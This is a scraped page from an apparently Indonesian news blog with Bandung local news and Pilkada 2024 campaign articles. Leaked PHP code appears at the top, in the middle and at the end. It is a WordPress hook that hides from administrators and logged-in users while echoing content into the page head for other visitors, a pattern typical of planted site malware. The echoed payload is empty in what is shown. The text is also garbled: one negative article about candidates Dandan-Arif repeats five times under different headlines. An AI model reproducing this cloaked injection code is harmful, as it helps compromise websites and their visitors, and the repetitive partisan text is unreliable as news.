if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 232 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Pertemuan Direktorat Intelkam Polda Jabar dengan Paguyuban Wisata

    BANDUNG, VISTA NUSANTARADirektorat Intelkam Polda Jawa Barat, yang dipimpin oleh Unit III Subdit Ekonomi, mengadakan pertemuan dengan Paguyuban Armada Wisata Bandung Selatan di Dahan Caffe, Jalan Raya Banjaran Soreang, Kabupaten Bandung. Pertemuan ini dihadiri oleh Ketua Paguyuban, H. Aan Tirta Gandana, S.Sos., serta sepuluh anggota lainnya.

    Silaturahmi ini bertujuan mempererat hubungan kekeluargaan antara anggota paguyuban dan pihak Kepolisian, khususnya dari Direktorat Intelkam. Kegiatan yang dikemas dalam bentuk diskusi terbuka ini membahas berbagai isu yang relevan dengan sektor transportasi wisata, termasuk perkembangan terbaru, regulasi yang berlaku, serta tantangan dan kendala yang dihadapi para anggota paguyuban.

    Dalam kesempatan tersebut, pihak kepolisian juga menyampaikan imbauan agar anggota paguyuban mendukung upaya Polri dalam menjaga situasi yang aman dan kondusif, khususnya menjelang Pilkada Jawa Barat 2024.


    Diharapkan pertemuan ini dapat memperkuat sinergi antara Kepolisian dan pelaku sektor wisata di Bandung Selatan, serta mendorong terciptanya lingkungan yang kondusif selama proses Pilkada mendatang.***
  • Sukses di Top Model Indonesia 2024, Dara Natasha Jadi Inspirasi Baru

    VISTA NUSANTARA — Dara Natasha Aulia Budiman, remaja siswi kelas 6 SD yang memiliki tinggi 165 cm dan berat 49 kg, kembali mengharumkan nama Indonesia mewakili jawa barat dalam dunia modeling. Pada Grand Final Nasional Pemilihan Top Model Indonesia 2024, Dara sukses membawa pulang tiga penghargaan bergengsi: Piala Bergilir Presiden Top Model Indonesia 2024, Piala Tetap Top Model Indonesia 2024, dan Piala Tetap Top Photo Model Indonesia 2024. Kemenangan ini bukan hanya menjadi kebanggaan bagi Dara dan keluarganya, tetapi juga bagi banyak anak muda Indonesia yang bermimpi sukses di dunia modeling.


    Dengan penuh rasa syukur, Dara menyampaikan ucapan terima kasihnya kepada pihak-pihak yang telah mendukungnya, “Alhamdulillah, terima kasih atas kepercayaan yang diberikan oleh @topmodelindonesia_43tahun dan bimbingan yang luar biasa dari Bunda Revi di @revimodelacademyy. Terima kasih juga kepada ayah, bunda, keluarga, serta seluruh teman-teman yang selalu mendukungku.” Dukungan ini, menurutnya, adalah kunci keberhasilannya.

    Dara tidak hanya bersinar dalam ajang Top Model Indonesia. Sepanjang tahun ini, ia telah menorehkan prestasi di berbagai kompetisi modeling dan seni, termasuk:

    •Juara 1 Lomba Fashion Black & White Transmart Buahbatu – 28 Okt 2023 juara 1 Lomba Fashion Show Batik Kreasi BIP – 12 Nov 2023 Juara 1 Fashion Show Casual Transmart Buahbatu – 17 Des 2023 Juara 1 Fashion Show Colourful Ciwalk – 24 Des 2023 Juara 1 Vokal Group Islami lomba antar SD Bandung Raya – 24 Feb 2024 Juara 1 Fashion Show Casual Jeans TSM – 04 Mar 2024

    •Juara 1 Fashion Show Bazar Ramadhan Lottegrosir – 23 Mar 2024 Juara 1 Fashion Show All About Red & Green Ciwalk – 18 Mei 2024 Juara 1 Fashion Show Profesi Ciwalk – 02 Jun 2024.

    •Juara 1 Top Model Podomoro Park kategori Batik Kreasi – 25 Agustus 2024 Juara 1 Batik Kreasi Pentas Seni & Kreasi ke-2 se-Bandung Raya – 30 September 2024 Juara 2 Lomba Fashion Dress Pesta BIP – 11 Des 2023 Juara 2 Fashion Show Busana Muslim Jogja Kepatihan – 31 Mar 2024

    •Juara 2 Lomba Fashion Show Batik Kreasi BIP – 28 Jul 2024 Juara 2 Busana Daerah Pentas Seni & Kreasi ke-2 se-Bandung Raya – 30 September 2024 Juara 2 Casual Bebas Pentas Seni & Kreasi ke-2 se-Bandung Raya – 30 September 2024

    •Juara 2 Fashion Show Batik Kreasi HUT Kabupaten Bandung – 28 Apr 2024 Juara 3 Lomba Nyanyi Istana Plaza Bandung – 29 Okt 2023 Juara 3 Lomba Nyanyi Jogja Bojongsoang – 16 Sep 2023

    •Juara 3 Fashion Show Colourful Transmart Kids Festival – 06 Jul 2024.

    •Juara Harapan 2 Lomba Nyanyi BIP – 12 Nov 2023

    •Juara Harapan 2 Lomba Nyanyi Ciwalk – 24 Des 2023 Juara Harapan 2 Putra Putri Nusantara Bali – 21 Apr 2024 Juara Harapan 2 Lomba Nyanyi – 28 Jul 2024 Juara Harapan 3 Lomba Nyanyi Istana Plaza Bandung – 20 Ags 2023 Juara Harapan 3 Fashion Show Imlek Transmart Buahbatu – 25 Feb 2024 Juara Harapan 3 Lomba Nyanyi Ciwalk – 02 Jun 2024 Juara Harapan 3 Nyanyi Transmart Kids Festival – 06 Jul 2024 Best 2 Busana Muslim Ramadhan Fair Neostation – 24 Mar 2024 Best Influencer Ratu & Putri Kebaya 2024 Jakarta – 15 Jul 2024 Juara Favorit Pop Song Pekan Seni & Kreasi ke-2 se-Bandung Raya – 30 September 2024.

    Keberhasilan Dara merupakan hasil dari kerja keras, dedikasi, serta dukungan penuh dari keluarga dan tim pendidikannya. Dara, yang sejak usia dini telah menunjukkan ketekunan di dunia seni dan modeling, berharap pencapaiannya dapat menginspirasi anak-anak lainnya untuk terus mengejar mimpi dan mengembangkan potensi diri.


    Sebagai penutup, Dara menyampaikan harapannya agar bisa terus berprestasi dan mengharumkan nama Indonesia, serta mengajak generasi muda lainnya untuk tidak takut bermimpi besar. “Semoga pencapaian ini bisa menginspirasi banyak anak Indonesia untuk berani bermimpi dan terus bekerja keras.”

    Modeling School : LKP Revi Model Academy @revimodelacademyy 

    Event by: @topmodelindonesia_43tahun 

    MUA by: @daniswara_beauty 

    Wardrobe by: @salonpadma_agung 

    Selamat atas pencapaian yang membanggakan, Dara Natasha Aulia Budiman!***
  • Perubahan Sikap Politik Dandan-Arif Picu Keraguan Publik di Pilwalkot Bandung

    BANDUNG, VISTA NUSANTARA Pasangan calon Wali Kota dan Wakil Wali Kota Bandung 2024, Dandan Riza Wardana dan Arif Wijaya, yang berada di nomor urut 1, sedang hangat dibicarakan di kalangan masyarakat. 

    Meskipun memiliki visi besar untuk Bandung, rekam jejak mereka menjadi sorotan karena beberapa kesalahan masa lalu yang mencuat dan menimbulkan keraguan. Apakah pengalaman mereka dapat mempengaruhi kepercayaan publik dalam pemilihan ini?

    Salah satu isu yang mencolok adalah keterlibatan Dandan Riza Wardana dalam proyek pembangunan yang dianggap kontroversial. Proyek-proyek tersebut, yang cenderung bersifat komersial, dituduh kurang memperhatikan dampak lingkungan dan keberlanjutan. 

    Masyarakat mempertanyakan bagaimana ia akan mewujudkan visi Bandung yang hijau dan berkelanjutan ketika sebelumnya terlibat dalam proyek yang dikritik karena kurang ramah lingkungan.

    Sementara itu, Arif Wijaya memiliki latar belakang dalam organisasi sosial yang sering menjadi sorotan. Isu pengelolaan dana yang tidak transparan pernah muncul dan menimbulkan kekhawatiran tentang akuntabilitasnya. 

    Meskipun tidak ada bukti hukum yang menjeratnya, masalah ini tetap membayangi karir politiknya, sehingga muncul pertanyaan tentang kemampuannya dalam mengelola pemerintahan kota dengan jujur dan transparan.

    Selain itu, pasangan ini menghadapi kritik terkait perubahan sikap politik yang ditunjukkan sepanjang karir mereka. Terlibat dalam berbagai koalisi, mereka dinilai sering berganti pandangan sesuai dengan dinamika politik, yang menyebabkan keraguan tentang komitmen mereka terhadap visi dan misi yang diusung saat ini. Banyak yang bertanya-tanya apakah mereka memiliki prinsip yang kuat atau hanya mengikuti kepentingan politik sesaat.

    Pasangan ini juga dikritik karena janji kampanye yang dianggap tidak realistis dan terlalu ambisius. Dengan visi Bandung yang agamis, sejahtera, inovatif, dan kolaboratif, masyarakat ragu apakah mereka memiliki strategi konkret untuk menangani berbagai permasalahan kompleks di kota.

    Banyak yang berpendapat bahwa rekam jejak negatif ini bisa menjadi hambatan signifikan bagi Dandan Riza Wardana dan Arif Wijaya dalam meraih dukungan publik. Hal tersebut juga di sampaikan oleh Putri yang merupakan mahasiswi di salah satu Kampus swasta di Bandung. 

    Dia menyampaikan bahwasannya masyarakat harus lebih pintar dalam memilih pemimpin dan harus mengetahui segala latar belakangnya apakah bersih atau tidak. 

    “Pemimpin bersih itu ya sangat penting, kadang kita cuma ngelihat dari luar nya aja padahal seharusnya sifat asli dan latar belakangnya juga harus di lihat.” kata Putri 

    Setelah itu, ia membahas tentang bagaimana citra mereka di mata publik akan menjadi tantangan besar dalam usaha merebut kursi Wali Kota Bandung. Dengan rekam jejak yang kurang baik, akan sulit bagi mereka untuk memperoleh posisi tersebut.

    “Citra seorang tokoh itu penting, apabila dia memiliki rekam jejak yang pernah mendapatkan kasus korupsi, kita masyarakat pun harus cerdas dengan tidak memilih calon tersebut”. ungkap Putri.***

  • Pentingnya Memilih Pemimpin Bersih di Pilwalkot Bandung 2024

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung 2024, Dandan Riza Wardana dan Arif Wijaya, yang berada di nomor urut 1, sedang hangat dibicarakan di kalangan masyarakat. 
    Meskipun memiliki visi besar untuk Bandung, rekam jejak mereka menjadi sorotan karena beberapa kesalahan masa lalu yang mencuat dan menimbulkan keraguan. Apakah pengalaman mereka dapat mempengaruhi kepercayaan publik dalam pemilihan ini?
    Salah satu isu yang mencolok adalah keterlibatan Dandan Riza Wardana dalam proyek pembangunan yang dianggap kontroversial. Proyek-proyek tersebut, yang cenderung bersifat komersial, dituduh kurang memperhatikan dampak lingkungan dan keberlanjutan. 
    Masyarakat mempertanyakan bagaimana ia akan mewujudkan visi Bandung yang hijau dan berkelanjutan ketika sebelumnya terlibat dalam proyek yang dikritik karena kurang ramah lingkungan.
    Sementara itu, Arif Wijaya memiliki latar belakang dalam organisasi sosial yang sering menjadi sorotan. Isu pengelolaan dana yang tidak transparan pernah muncul dan menimbulkan kekhawatiran tentang akuntabilitasnya. 
    Meskipun tidak ada bukti hukum yang menjeratnya, masalah ini tetap membayangi karir politiknya, sehingga muncul pertanyaan tentang kemampuannya dalam mengelola pemerintahan kota dengan jujur dan transparan.
    Selain itu, pasangan ini menghadapi kritik terkait perubahan sikap politik yang ditunjukkan sepanjang karir mereka. Terlibat dalam berbagai koalisi, mereka dinilai sering berganti pandangan sesuai dengan dinamika politik, yang menyebabkan keraguan tentang komitmen mereka terhadap visi dan misi yang diusung saat ini. Banyak yang bertanya-tanya apakah mereka memiliki prinsip yang kuat atau hanya mengikuti kepentingan politik sesaat.
    Pasangan ini juga dikritik karena janji kampanye yang dianggap tidak realistis dan terlalu ambisius. Dengan visi Bandung yang agamis, sejahtera, inovatif, dan kolaboratif, masyarakat ragu apakah mereka memiliki strategi konkret untuk menangani berbagai permasalahan kompleks di kota.
    Banyak yang berpendapat bahwa rekam jejak negatif ini bisa menjadi hambatan signifikan bagi Dandan Riza Wardana dan Arif Wijaya dalam meraih dukungan publik. Hal tersebut juga di sampaikan oleh Putri yang merupakan mahasiswi di salah satu Kampus swasta di Bandung. 
    Dia menyampaikan bahwasannya masyarakat harus lebih pintar dalam memilih pemimpin dan harus mengetahui segala latar belakangnya apakah bersih atau tidak. 
    “Pemimpin bersih itu ya sangat penting, kadang kita cuma ngelihat dari luar nya aja padahal seharusnya sifat asli dan latar belakangnya juga harus di lihat.” kata Putri 
    Setelah itu, ia membahas tentang bagaimana citra mereka di mata publik akan menjadi tantangan besar dalam usaha merebut kursi Wali Kota Bandung. Dengan rekam jejak yang kurang baik, akan sulit bagi mereka untuk memperoleh posisi tersebut.
    “Citra seorang tokoh itu penting, apabila dia memiliki rekam jejak yang pernah mendapatkan kasus korupsi, kita masyarakat pun harus cerdas dengan tidak memilih calon tersebut”. ungkap Putri.***
  • Mampukah Dandan Riza Wardana Wujudkan Bandung Hijau Meski Terlibat Proyek Bermasalah?

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung 2024, Dandan Riza Wardana dan Arif Wijaya, yang berada di nomor urut 1, sedang hangat dibicarakan di kalangan masyarakat. 
    Meskipun memiliki visi besar untuk Bandung, rekam jejak mereka menjadi sorotan karena beberapa kesalahan masa lalu yang mencuat dan menimbulkan keraguan. Apakah pengalaman mereka dapat mempengaruhi kepercayaan publik dalam pemilihan ini?
    Salah satu isu yang mencolok adalah keterlibatan Dandan Riza Wardana dalam proyek pembangunan yang dianggap kontroversial. Proyek-proyek tersebut, yang cenderung bersifat komersial, dituduh kurang memperhatikan dampak lingkungan dan keberlanjutan. 
    Masyarakat mempertanyakan bagaimana ia akan mewujudkan visi Bandung yang hijau dan berkelanjutan ketika sebelumnya terlibat dalam proyek yang dikritik karena kurang ramah lingkungan.
    Sementara itu, Arif Wijaya memiliki latar belakang dalam organisasi sosial yang sering menjadi sorotan. Isu pengelolaan dana yang tidak transparan pernah muncul dan menimbulkan kekhawatiran tentang akuntabilitasnya. 
    Meskipun tidak ada bukti hukum yang menjeratnya, masalah ini tetap membayangi karir politiknya, sehingga muncul pertanyaan tentang kemampuannya dalam mengelola pemerintahan kota dengan jujur dan transparan.
    Selain itu, pasangan ini menghadapi kritik terkait perubahan sikap politik yang ditunjukkan sepanjang karir mereka. Terlibat dalam berbagai koalisi, mereka dinilai sering berganti pandangan sesuai dengan dinamika politik, yang menyebabkan keraguan tentang komitmen mereka terhadap visi dan misi yang diusung saat ini. Banyak yang bertanya-tanya apakah mereka memiliki prinsip yang kuat atau hanya mengikuti kepentingan politik sesaat.
    Pasangan ini juga dikritik karena janji kampanye yang dianggap tidak realistis dan terlalu ambisius. Dengan visi Bandung yang agamis, sejahtera, inovatif, dan kolaboratif, masyarakat ragu apakah mereka memiliki strategi konkret untuk menangani berbagai permasalahan kompleks di kota.
    Banyak yang berpendapat bahwa rekam jejak negatif ini bisa menjadi hambatan signifikan bagi Dandan Riza Wardana dan Arif Wijaya dalam meraih dukungan publik. Hal tersebut juga di sampaikan oleh Putri yang merupakan mahasiswi di salah satu Kampus swasta di Bandung. 
    Dia menyampaikan bahwasannya masyarakat harus lebih pintar dalam memilih pemimpin dan harus mengetahui segala latar belakangnya apakah bersih atau tidak. 
    “Pemimpin bersih itu ya sangat penting, kadang kita cuma ngelihat dari luar nya aja padahal seharusnya sifat asli dan latar belakangnya juga harus di lihat.” kata Putri 
    Setelah itu, ia membahas tentang bagaimana citra mereka di mata publik akan menjadi tantangan besar dalam usaha merebut kursi Wali Kota Bandung. Dengan rekam jejak yang kurang baik, akan sulit bagi mereka untuk memperoleh posisi tersebut.
    “Citra seorang tokoh itu penting, apabila dia memiliki rekam jejak yang pernah mendapatkan kasus korupsi, kita masyarakat pun harus cerdas dengan tidak memilih calon tersebut”. ungkap Putri.***
  • Proyek Kontroversial dan Isu Lingkungan Bayangi Kampanye Dandan Riza Wardana

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung 2024, Dandan Riza Wardana dan Arif Wijaya, yang berada di nomor urut 1, sedang hangat dibicarakan di kalangan masyarakat. 
    Meskipun memiliki visi besar untuk Bandung, rekam jejak mereka menjadi sorotan karena beberapa kesalahan masa lalu yang mencuat dan menimbulkan keraguan. Apakah pengalaman mereka dapat mempengaruhi kepercayaan publik dalam pemilihan ini?
    Salah satu isu yang mencolok adalah keterlibatan Dandan Riza Wardana dalam proyek pembangunan yang dianggap kontroversial. Proyek-proyek tersebut, yang cenderung bersifat komersial, dituduh kurang memperhatikan dampak lingkungan dan keberlanjutan. 
    Masyarakat mempertanyakan bagaimana ia akan mewujudkan visi Bandung yang hijau dan berkelanjutan ketika sebelumnya terlibat dalam proyek yang dikritik karena kurang ramah lingkungan.
    Sementara itu, Arif Wijaya memiliki latar belakang dalam organisasi sosial yang sering menjadi sorotan. Isu pengelolaan dana yang tidak transparan pernah muncul dan menimbulkan kekhawatiran tentang akuntabilitasnya. 
    Meskipun tidak ada bukti hukum yang menjeratnya, masalah ini tetap membayangi karir politiknya, sehingga muncul pertanyaan tentang kemampuannya dalam mengelola pemerintahan kota dengan jujur dan transparan.
    Selain itu, pasangan ini menghadapi kritik terkait perubahan sikap politik yang ditunjukkan sepanjang karir mereka. Terlibat dalam berbagai koalisi, mereka dinilai sering berganti pandangan sesuai dengan dinamika politik, yang menyebabkan keraguan tentang komitmen mereka terhadap visi dan misi yang diusung saat ini. Banyak yang bertanya-tanya apakah mereka memiliki prinsip yang kuat atau hanya mengikuti kepentingan politik sesaat.
    Pasangan ini juga dikritik karena janji kampanye yang dianggap tidak realistis dan terlalu ambisius. Dengan visi Bandung yang agamis, sejahtera, inovatif, dan kolaboratif, masyarakat ragu apakah mereka memiliki strategi konkret untuk menangani berbagai permasalahan kompleks di kota.
    Banyak yang berpendapat bahwa rekam jejak negatif ini bisa menjadi hambatan signifikan bagi Dandan Riza Wardana dan Arif Wijaya dalam meraih dukungan publik. Hal tersebut juga di sampaikan oleh Putri yang merupakan mahasiswi di salah satu Kampus swasta di Bandung. 
    Dia menyampaikan bahwasannya masyarakat harus lebih pintar dalam memilih pemimpin dan harus mengetahui segala latar belakangnya apakah bersih atau tidak. 
    “Pemimpin bersih itu ya sangat penting, kadang kita cuma ngelihat dari luar nya aja padahal seharusnya sifat asli dan latar belakangnya juga harus di lihat.” kata Putri 
    Setelah itu, ia membahas tentang bagaimana citra mereka di mata publik akan menjadi tantangan besar dalam usaha merebut kursi Wali Kota Bandung. Dengan rekam jejak yang kurang baik, akan sulit bagi mereka untuk memperoleh posisi tersebut.
    “Citra seorang tokoh itu penting, apabila dia memiliki rekam jejak yang pernah mendapatkan kasus korupsi, kita masyarakat pun harus cerdas dengan tidak memilih calon tersebut”. ungkap Putri.***
  • Kontroversi Proyek Dandan Riza Wardana, Tantangan di Pilwalkot Bandung 2024

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung 2024, Dandan Riza Wardana dan Arif Wijaya, yang berada di nomor urut 1, sedang hangat dibicarakan di kalangan masyarakat. 
    Meskipun memiliki visi besar untuk Bandung, rekam jejak mereka menjadi sorotan karena beberapa kesalahan masa lalu yang mencuat dan menimbulkan keraguan. Apakah pengalaman mereka dapat mempengaruhi kepercayaan publik dalam pemilihan ini?
    Salah satu isu yang mencolok adalah keterlibatan Dandan Riza Wardana dalam proyek pembangunan yang dianggap kontroversial. Proyek-proyek tersebut, yang cenderung bersifat komersial, dituduh kurang memperhatikan dampak lingkungan dan keberlanjutan. 
    Masyarakat mempertanyakan bagaimana ia akan mewujudkan visi Bandung yang hijau dan berkelanjutan ketika sebelumnya terlibat dalam proyek yang dikritik karena kurang ramah lingkungan.
    Sementara itu, Arif Wijaya memiliki latar belakang dalam organisasi sosial yang sering menjadi sorotan. Isu pengelolaan dana yang tidak transparan pernah muncul dan menimbulkan kekhawatiran tentang akuntabilitasnya. 
    Meskipun tidak ada bukti hukum yang menjeratnya, masalah ini tetap membayangi karir politiknya, sehingga muncul pertanyaan tentang kemampuannya dalam mengelola pemerintahan kota dengan jujur dan transparan.
    Selain itu, pasangan ini menghadapi kritik terkait perubahan sikap politik yang ditunjukkan sepanjang karir mereka. Terlibat dalam berbagai koalisi, mereka dinilai sering berganti pandangan sesuai dengan dinamika politik, yang menyebabkan keraguan tentang komitmen mereka terhadap visi dan misi yang diusung saat ini. Banyak yang bertanya-tanya apakah mereka memiliki prinsip yang kuat atau hanya mengikuti kepentingan politik sesaat.
    Pasangan ini juga dikritik karena janji kampanye yang dianggap tidak realistis dan terlalu ambisius. Dengan visi Bandung yang agamis, sejahtera, inovatif, dan kolaboratif, masyarakat ragu apakah mereka memiliki strategi konkret untuk menangani berbagai permasalahan kompleks di kota.
    Banyak yang berpendapat bahwa rekam jejak negatif ini bisa menjadi hambatan signifikan bagi Dandan Riza Wardana dan Arif Wijaya dalam meraih dukungan publik. Hal tersebut juga di sampaikan oleh Putri yang merupakan mahasiswi di salah satu Kampus swasta di Bandung. 
    Dia menyampaikan bahwasannya masyarakat harus lebih pintar dalam memilih pemimpin dan harus mengetahui segala latar belakangnya apakah bersih atau tidak. 
    “Pemimpin bersih itu ya sangat penting, kadang kita cuma ngelihat dari luar nya aja padahal seharusnya sifat asli dan latar belakangnya juga harus di lihat.” kata Putri 
    Setelah itu, ia membahas tentang bagaimana citra mereka di mata publik akan menjadi tantangan besar dalam usaha merebut kursi Wali Kota Bandung. Dengan rekam jejak yang kurang baik, akan sulit bagi mereka untuk memperoleh posisi tersebut.
    “Citra seorang tokoh itu penting, apabila dia memiliki rekam jejak yang pernah mendapatkan kasus korupsi, kita masyarakat pun harus cerdas dengan tidak memilih calon tersebut”. ungkap Putri.****
  • Cek Kesehatan & Sembako Murah di Bojongloa Kaler

    BANDUNG, VISTA NUSANTARAMinggu pagi yang cerah dimanfaatkan oleh calon walikota Bandung, Arfi Rafnialdi, untuk berolahraga sambil meninjau kondisi ruang publik di Saparua. Menyusuri kawasan olahraga tersebut, Arfi menyampaikan pandangannya tentang pentingnya menjaga fasilitas publik untuk kepentingan bersama.
    “Ruang publik adalah cerminan dari kita semua. Di Saparua, saya melihat potensi besar untuk olahraga dan berkumpul, tapi juga menemui kenyataan yang menyedihkan; fasilitas rusak dan sampah berserakan, termasuk botol minuman alkohol,” ujar Arfi. 
    Dia menambahkan bahwa kondisi ini adalah pengingat bagi warga untuk menjaga kebersihan dan kelestarian ruang bersama. “Kesadaran dan tanggung jawab kita sebagai warga sangat penting untuk menciptakan Bandung yang nyaman dan bersih,” tambahnya.
    Selepas olahraga dan tinjauan, Arfi bersama tim melanjutkan kegiatan sosial di Kelurahan Suka Asih, Bojongloa Kaler. Di lokasi tersebut, istri Arfi, Mutya Assegaf atau yang akrab disapa “Teh Mutya,” turun langsung memeriksa kesehatan warga dalam program *Cek Kesehatan Gratis & Tebus Murah Sembako* yang diadakan bersama komunitas @dpp.balad. Acara ini berlangsung di Lapangan RW 01, RT03, Jl. Kopo GG. Pabrik Kulit Utara dan dihadiri oleh ratusan warga, sebagian besar ibu-ibu yang antusias mengikuti layanan kesehatan serta pembagian sembako dengan harga terjangkau.
    “Kami berterima kasih kepada semua yang telah berpartisipasi. Bersama, kita berupaya mendukung masyarakat dengan akses kebutuhan pokok dan pelayanan kesehatan yang lebih baik,” ujar Teh Mutya di sela-sela kegiatan.
    Kegiatan yang berlangsung hingga siang hari ini mendapat apresiasi dari warga setempat yang merasa terbantu dengan adanya layanan kesehatan dan akses sembako murah. Arfi dan Mutya berharap kegiatan serupa dapat terus dilakukan untuk meningkatkan kesejahteraan masyarakat Bandung.***
  • Arfi Rafnialdi Soroti Fasilitas Saparua Rusak

    BANDUNG, VISTA NUSANTARAMinggu pagi yang cerah dimanfaatkan oleh calon walikota Bandung, Arfi Rafnialdi, untuk berolahraga sambil meninjau kondisi ruang publik di Saparua. Menyusuri kawasan olahraga tersebut, Arfi menyampaikan pandangannya tentang pentingnya menjaga fasilitas publik untuk kepentingan bersama.
    “Ruang publik adalah cerminan dari kita semua. Di Saparua, saya melihat potensi besar untuk olahraga dan berkumpul, tapi juga menemui kenyataan yang menyedihkan; fasilitas rusak dan sampah berserakan, termasuk botol minuman alkohol,” ujar Arfi. 
    Dia menambahkan bahwa kondisi ini adalah pengingat bagi warga untuk menjaga kebersihan dan kelestarian ruang bersama. “Kesadaran dan tanggung jawab kita sebagai warga sangat penting untuk menciptakan Bandung yang nyaman dan bersih,” tambahnya.
    Selepas olahraga dan tinjauan, Arfi bersama tim melanjutkan kegiatan sosial di Kelurahan Suka Asih, Bojongloa Kaler. Di lokasi tersebut, istri Arfi, Mutya Assegaf atau yang akrab disapa “Teh Mutya,” turun langsung memeriksa kesehatan warga dalam program *Cek Kesehatan Gratis & Tebus Murah Sembako* yang diadakan bersama komunitas @dpp.balad. Acara ini berlangsung di Lapangan RW 01, RT03, Jl. Kopo GG. Pabrik Kulit Utara dan dihadiri oleh ratusan warga, sebagian besar ibu-ibu yang antusias mengikuti layanan kesehatan serta pembagian sembako dengan harga terjangkau.
    “Kami berterima kasih kepada semua yang telah berpartisipasi. Bersama, kita berupaya mendukung masyarakat dengan akses kebutuhan pokok dan pelayanan kesehatan yang lebih baik,” ujar Teh Mutya di sela-sela kegiatan.
    Kegiatan yang berlangsung hingga siang hari ini mendapat apresiasi dari warga setempat yang merasa terbantu dengan adanya layanan kesehatan dan akses sembako murah. Arfi dan Mutya berharap kegiatan serupa dapat terus dilakukan untuk meningkatkan kesejahteraan masyarakat Bandung.***
  • Isu Lingkungan Hantui Kampanye Dandan-Arif di Pilkada Bandung 2024

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung 2024, Dandan Riza Wardana dan Arif Wijaya, yang berada di nomor urut 1, sedang hangat dibicarakan di kalangan masyarakat. 
    Meskipun memiliki visi besar untuk Bandung, rekam jejak mereka menjadi sorotan karena beberapa kesalahan masa lalu yang mencuat dan menimbulkan keraguan. Apakah pengalaman mereka dapat mempengaruhi kepercayaan publik dalam pemilihan ini?
    Salah satu isu yang mencolok adalah keterlibatan Dandan Riza Wardana dalam proyek pembangunan yang dianggap kontroversial. Proyek-proyek tersebut, yang cenderung bersifat komersial, dituduh kurang memperhatikan dampak lingkungan dan keberlanjutan. 
    Masyarakat mempertanyakan bagaimana ia akan mewujudkan visi Bandung yang hijau dan berkelanjutan ketika sebelumnya terlibat dalam proyek yang dikritik karena kurang ramah lingkungan.
    Sementara itu, Arif Wijaya memiliki latar belakang dalam organisasi sosial yang sering menjadi sorotan. Isu pengelolaan dana yang tidak transparan pernah muncul dan menimbulkan kekhawatiran tentang akuntabilitasnya. 
    Meskipun tidak ada bukti hukum yang menjeratnya, masalah ini tetap membayangi karir politiknya, sehingga muncul pertanyaan tentang kemampuannya dalam mengelola pemerintahan kota dengan jujur dan transparan.
    Selain itu, pasangan ini menghadapi kritik terkait perubahan sikap politik yang ditunjukkan sepanjang karir mereka. Terlibat dalam berbagai koalisi, mereka dinilai sering berganti pandangan sesuai dengan dinamika politik, yang menyebabkan keraguan tentang komitmen mereka terhadap visi dan misi yang diusung saat ini. Banyak yang bertanya-tanya apakah mereka memiliki prinsip yang kuat atau hanya mengikuti kepentingan politik sesaat.
    Pasangan ini juga dikritik karena janji kampanye yang dianggap tidak realistis dan terlalu ambisius. Dengan visi Bandung yang agamis, sejahtera, inovatif, dan kolaboratif, masyarakat ragu apakah mereka memiliki strategi konkret untuk menangani berbagai permasalahan kompleks di kota.
    Banyak yang berpendapat bahwa rekam jejak negatif ini bisa menjadi hambatan signifikan bagi Dandan Riza Wardana dan Arif Wijaya dalam meraih dukungan publik. Hal tersebut juga di sampaikan oleh Putri yang merupakan mahasiswi di salah satu Kampus swasta di Bandung. 
    Dia menyampaikan bahwasannya masyarakat harus lebih pintar dalam memilih pemimpin dan harus mengetahui segala latar belakangnya apakah bersih atau tidak. 
    “Pemimpin bersih itu ya sangat penting, kadang kita cuma ngelihat dari luar nya aja padahal seharusnya sifat asli dan latar belakangnya juga harus di lihat.” kata Putri 
    Setelah itu, ia membahas tentang bagaimana citra mereka di mata publik akan menjadi tantangan besar dalam usaha merebut kursi Wali Kota Bandung. Dengan rekam jejak yang kurang baik, akan sulit bagi mereka untuk memperoleh posisi tersebut.
    “Citra seorang tokoh itu penting, apabila dia memiliki rekam jejak yang pernah mendapatkan kasus korupsi, kita masyarakat pun harus cerdas dengan tidak memilih calon tersebut”. ungkap Putri.***
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);